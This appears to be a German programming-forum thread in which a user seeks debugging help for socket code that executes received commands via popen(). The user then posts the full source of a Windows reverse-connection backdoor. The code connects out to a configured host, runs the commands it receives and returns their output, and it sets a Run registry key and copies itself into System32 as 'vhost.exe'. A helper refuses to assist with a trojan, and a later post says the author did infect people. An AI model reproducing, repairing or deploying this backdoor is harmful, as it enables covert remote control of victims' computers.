Socket _popen() linux



  • #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <pthread.h>
    #include <time.h>
    #include <string.h>
    #include <sys/stat.h>
    
    #define BUFFER_SIZE 1024
    
    char name[BUFFER_SIZE];
    char buf[BUFFER_SIZE];
    char erg[BUFFER_SIZE];
    
    int bytes = 0;
    
    void* handle (void* socket)
    {
    	int *sock;
        sock = ( int * ) socket; 
    
    	send (*sock, "Connected", strlen("Connected"), 0);
    
    	for (;;)
    	{
    		// Wait for incomming commands
    		bytes = recv(socket, name, sizeof(name) - 1, 0);
    		name[bytes] = '\0';
    
    		FILE *p = popen(name, "r");
    
            if(p == NULL)
            {
            	// Error! I don't fucking care!
            }
    
            while(feof(p)==0)
            {
            	memset(buf, 0, strlen(buf));
            	fgets(buf, 100, p);
            	strcat(erg, buf);
            	//printf("%s\n", name);
            	//send(client,buf,100,0);
            }
            printf("%s\n", erg);
            pclose(p); 	
    	}
    }
    
    int startsocks ()
    {
    	int s, c;
        struct sockaddr_in srv, cli;
        socklen_t cli_size;
    
        s = socket(AF_INET, SOCK_STREAM, 0);
    
        srv.sin_addr.s_addr = INADDR_ANY;
        srv.sin_port = htons( (unsigned short int) 1337);
        srv.sin_family = AF_INET;
    
        if (bind(s,(struct sockaddr*) &srv, sizeof(srv)) == -1)
        {
                perror("bind() failed");
                return 3;
        }
    
        if (listen(s, 3) == -1)
        {
                perror("listen() failed");
                return 4;
        }
    
        for(;;)
        {
    
                cli_size = sizeof(cli);
                c = accept(s, (struct sockaddr *) &cli, &cli_size);
                // Start the tread to handle the client
                pthread_t tid;
                pthread_create(&tid, NULL, handle, (void *) c);
                //close(c);
        }	
    }
    
    int main ()
    {
    	startsocks();
    
    	return 0;
    }
    


  • okay, du machst in deinem code grundlegende fehler. ich empfehle dir mal die option -Wall in deine compilerparamter einzubinden dann siehst du auch alle fehlermeldungen.

    bytes = recv(socket, name, sizeof(name) - 1, 0);
    

    kann nicht funktionieren, da socket ein void-pointer ist.

    pthread_create(&tid, NULL, handle, (void *) c);
    

    durch dein *void **-cast wird eine hilfreiche warnung unterbunden. bei *void ** muss man nicht extra casten ( bitte jetzt keine diskussionen ^^ )
    außerdem musst du wenn schon die adresse von c übergeben.

    schau dir ambesten nochmal die grundlagen von pointern in C an.

    p.s: mit den änderungen läuft dein programm bei mir ohne probleme. allerdings geht dein code davon aus, dass die befehle immer mit einem paket ankommen - das ist unter umständen nicht so.

    blan



  • kannst du mir erklären, was ich genau ändern muss?

    ich verstehe dass bytes integer werte erwartet jedoch ein void * bekommen würde....



  • danke1 schrieb:

    ich verstehe dass bytes integer werte erwartet jedoch ein void * bekommen würde....

    was ist "bytes" ?



  • int bytes = 0;

    Also eine Integer Variable



  • asdfdsaf schrieb:

    int bytes = 0;

    Also eine Integer Variable

    die variable bytes würde überhaupt kein *void ** bekommen. irgendwas hast du da noch nicht ganz verstanden.

    also meine änderungen waren:

    bytes = recv(*sock, name, sizeof(name) - 1, 0);
    

    und

    pthread_create(&tid, NULL, handle, &c);
    

    blan



  • aja ok jetzt verstehe ich,m was du mir sagen wolltest.
    danke!

    der fehler bleibt jedoch konstant:

    : not found

    : not found



  • zeig mal dein aufruf. netzwerk oder internet?



  • Also hier der komplette Code:

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <pthread.h>
    #include <time.h>
    #include <string.h>
    #include <sys/stat.h>
    
    #define BUFFER_SIZE 1024
    
    char name[BUFFER_SIZE];
    char buf[BUFFER_SIZE];
    char erg[BUFFER_SIZE];
    
    int bytes = 0;
    
    void* handle (void* socket)
    {
        int *sock;
        sock = ( int * ) socket; 
    
    	send (*sock, "Connected", strlen("Connected"), 0);
    
    	for (;;)
    	{
    		// Wait for incomming commands
    		bytes = recv(*sock, name, sizeof(name) - 1, 0);
    		name[bytes] = '\0';
    		printf("Name hat den Wert: \n");
    		printf("%s\n", name);
    		printf("\r\n");
    		FILE *p = popen(name, "r");
    
            if(p == NULL)
            {
            	// Error! I don't fucking care!
            }
    
            while(feof(p)==0)
            {
            	memset(buf, 0, strlen(buf));
            	fgets(buf, 100, p);
            	strcat(erg, buf);
            	//printf("%s\n", name);
            	//send(client,buf,100,0);
            }
            printf("%s\n", erg);
            pclose(p); 	
    	}
    }
    
    int startsocks ()
    {
    	int s, c;
        struct sockaddr_in srv, cli;
        socklen_t cli_size;
    
        s = socket(AF_INET, SOCK_STREAM, 0);
    
        srv.sin_addr.s_addr = INADDR_ANY;
        srv.sin_port = htons( (unsigned short int) 1337);
        srv.sin_family = AF_INET;
    
        if (bind(s,(struct sockaddr*) &srv, sizeof(srv)) == -1)
        {
                perror("bind() failed");
                return 3;
        }
    
        if (listen(s, 3) == -1)
        {
                perror("listen() failed");
                return 4;
        }
    
        for(;;)
        {
    
                cli_size = sizeof(cli);
                c = accept(s, (struct sockaddr *) &cli, &cli_size);
                // Start the tread to handle the client
                pthread_t tid;
                //pthread_create(&tid, NULL, handle, (void *) c);
    	    pthread_create(&tid, NULL, handle, &c);
                //close(c);
        }	
    }
    
    int main ()
    {
    	startsocks();
    
    	return 0;
    }
    

    Gestartet wird der Server mit:

    ./server

    Der Client:

    telnet localhost 1337

    Dann bekomm ich den String "Connected" zu sehen. Tippe ls ein und dann kommt der Fehler not found beim Server!



  • ich tipp einfach mal drauf, dass dein telnet client den string nicht richtig sendet bzw anders. probier mal:

    netcat localhost 1337
    

    blan



  • Hallo,

    Ja wirklich, mit nc funktioniert es!
    hast du eine Idee, was telnet denn da sendet?
    Oder soll ich einfach mal sniffen und mir die packets ansehen?

    Würd mich ja mal wirklich interessieren was da lost ist.

    thx für die hilfe



  • Jetzt hab ich aber noch ein kleines Problemchen:

    char* pipe (char *command)
    {
        // Pipe stuff
        char buffer[10000];
    
        FILE *pPipe;
    
        if( (pPipe = _popen( command, "rt" )) == NULL )
        {
            exit( 1 );
        } 
    
        while(!feof(pPipe)) 
        {
         if( fgets(buffer, 128, pPipe ) != NULL )
         {
          // printf("%s", buffer);
          strcat(lese, buffer);
         }
        }
        _pclose( pPipe );
         return lese;
    
    }
    
    int handling (int sock)
    {
        // WICHTIG PRÜFEN OB DAS SENDEN ERFOLGREICH IST ODERN NICHT
        // WENN SENDEN NICHT ERFOLGREICH => VERBINDUNG GETRENNT
        // => RETURN 1 DANN WIRD AUS DER FUNKTION RAUSGESPRUNGEN UND DIE
        // MAIN FUNKTION KANN IM 10 SEKUNDEN TAKT VERSUCHEN SICH ZU VERBINDEN!!
        char buffer[BUFFER_SIZE];
    	int bytes;
    
        send (sock, "Connected", sizeof("Connected"), 0);
    
        for (;;)
        {
    	 bytes = recv (sock, buffer, sizeof(buffer) -1, 0);
    	 if (bytes == -1)
    	 {
          return -1;          
         }
    	 buffer[bytes] = '\0';
    	 pipe (buffer);
    
    	 send (sock, lese, sizeof(lese), 0);
        }
    	return 0;   
    }
    

    Wenn ich nun einen Befehl über den Socket schicke, dann bekomme ich die Antwort also z.B. für dir bekomme ich dann die Verzeichnisauflistung gesendet, das einzige Problem daran ist die Formatierung. Irgendwie bekomme ich 50 /n mitgesendet.
    Sprich es kommt das Ergebnis des Befehles in der Konsole an und dann noch 50 neue leere Zeilen.

    Weiß jemand mit was das zusammenhängt bzw. wie ich das ändern kann?

    Danke für die Hilfe
    LG



  • achja ich hab mal eine Ausgabe eingebaut

    buffer[bytes] = '\0';
    	 pipe (buffer);
    	cout<<lese<<endl;
    	 send (sock, lese, sizeof(lese), 0);
    

    hier bekomme ich die Befehlsausgabe "normal" also ohne die vielen neuen Zeilen angezeigt.



  • gib mal den ganzen code, dann kann ichs testen.



  • #include <cstdlib>
    #include <iostream>
    #include <winsock.h>
    #include <fstream>
    #include <string>
    #include <windows.h>
    
    #define BUFFER_SIZE 1024
    
    using namespace std;
    
    // global vars needed to work
    char lese[10000];
    char ip[10000];
    char port[10000];
    char wait[10000];
    char path[200];
    char oname[200];
    
    int initialise_socket ()
    {
        WSADATA wsa;
        if (WSAStartup(MAKEWORD(1, 1), &wsa))
        {
           printf("WSAStartup() failed, %lu\n", (unsigned long)GetLastError());
           return EXIT_FAILURE;
        }   
        else
        {
            printf("Sockets initialision ok\n");    
        }
    }
    
    char* pipe (char *command)
    {
        // Pipe stuff
        char buffer[10000];
    
        FILE *pPipe;
    
        if( (pPipe = _popen( command, "rt" )) == NULL )
        {
            exit( 1 );
        } 
    
        while(!feof(pPipe)) 
        {
         if( fgets(buffer, 128, pPipe ) != NULL )
         {
          // printf("%s", buffer);
          strcat(lese, buffer);
         }
        }
        _pclose( pPipe );
         return lese;
    
    }
    
    int handling (int sock)
    {
    
        char buffer[BUFFER_SIZE];
    	int bytes;
    
        send (sock, "Connected", sizeof("Connected"), 0);
    
        for (;;)
        {
    	 bytes = recv (sock, buffer, sizeof(buffer) -1, 0);
    	 if (bytes == -1)
    	 {
          return -1;          
         }
    	 buffer[bytes] = '\0';
    	 pipe (buffer);
    	cout<<lese<<endl;
    	 send (sock, lese, sizeof(lese), 0);
        }
    	return 0;   
    }
    
    char read_config ()
    {
       ifstream file(".config.txt");
       string buffer;
    
       // We are just reading 10 lines
       for (int i = 0; i < 10; i++)
       {
        getline(file,buffer);
        if (i == 1)
        {
         strcpy(ip, buffer.c_str());
        }
        if (i == 3)
        {
         strcpy(port, buffer.c_str());     
        }
        if (i == 5)
        {
         strcpy(wait, buffer.c_str());     
        }
        if (i == 7)
        {
         strcpy(path, buffer.c_str());      
        }
        if (i == 9)
        {
         strcpy(oname, buffer.c_str());      
        }
       }  
       file.close();
       return '1';
    }
    
    void autostart ()
    {
      HKEY hkey;
      HKEY KEY = HKEY_CURRENT_USER;
      char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
      char name[100]= {"vhost"};
    
      RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); 
      RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)path, strlen(path));
      RegCloseKey(hkey); 
    
      CopyFile(oname, path, true);
    }
    
    void config ()
    {
     ofstream of;
     of.open(".config.txt", ios::out);
     of << "# IP Address - sets the ip to connect 2" <<endl;
     of << "127.0.0.1" <<endl;
     of << "# port - sets the port to connect 2" <<endl;
     of << "1337" <<endl;
     of << "# time - sets the time to wait for the program until reconnection will be tried again" <<endl;
     of << "2" <<endl;
     of << "# path to system32 directory including name of the executable" <<endl;
     of << "C:\\Windows\\System32\\vhost.exe" <<endl;
     of << "# name of the executable for example vhost.exe - must be the exact name !" <<endl;
     of << "windowsbackdoor.exe" <<endl;
     of.close();     
    }
    
    int main(int argc, char *argv[])
    {
        /*
        Optional Option!
        If you want this program to create its own .config.txt file than you should
        not comment the function call config() out! 
        */
        //config();
    
        // Socket Stuff
        initialise_socket();
        // Set Autostart Method
        autostart();
        // Read config file
        read_config();
    
        // Into Sockets
        int s;
    	struct sockaddr_in srv;
    
    	for (;;)
    	{
        int wait_t = atoi(wait);
        // For seconds!
        wait_t = wait_t * 1000;
        Sleep(wait_t);
    
    	s = socket(AF_INET, SOCK_STREAM, 0);
    	if (s == -1)
    	{
    		perror("socket failed()");
    
    	}
    
    	srv.sin_addr.s_addr = inet_addr(ip);
    	srv.sin_port = htons( (unsigned short int) atol(port));
    	srv.sin_family = AF_INET;
    
    	if (connect(s, (struct sockaddr*) &srv, sizeof(srv)) == -1)
    	{
    		perror("connect failed()");
    
    	}
    
    	if (handling(s) == -1)
    	{
    		fprintf(stderr, "%s: error in handling()\n", argv[0]);
    
    	}
        }
    
    	closesocket(s);
    

    Hier bitte 🙂



  • okay, dein code scheint für microsoft windows bestimmt zu sein. da bist du hier im falschen forum. und beim bau eines trojaners werde ich - und alle anderen hier auch - dir nicht helfen.

    blan



    1. Hab ich das für Windows und Linux geschrieben, der code ändert sich ja nicht wirklich das WSA_STARTUP entfällt halt bei Linux
    2. Ist das ein Reverse Connection script, welches es einem Administrator ermöglichen soll, durch eine IPCop FW reverse durchzutunneln, damit er den server auch von zu hause kontrollieren kann.

    Der Begriff "Trojaner" finde ich daher als falsch, da ich nicht die Absicht habe, irgendwelche leute damit zu "infizieren"



  • Hallo,
    ich wollte nur berichten, dass er doch welche damit infizieren wollte und glaube auch hat.
    Dank des Sources war die Entfernung jedoch nicht schwer.


Anmelden zum Antworten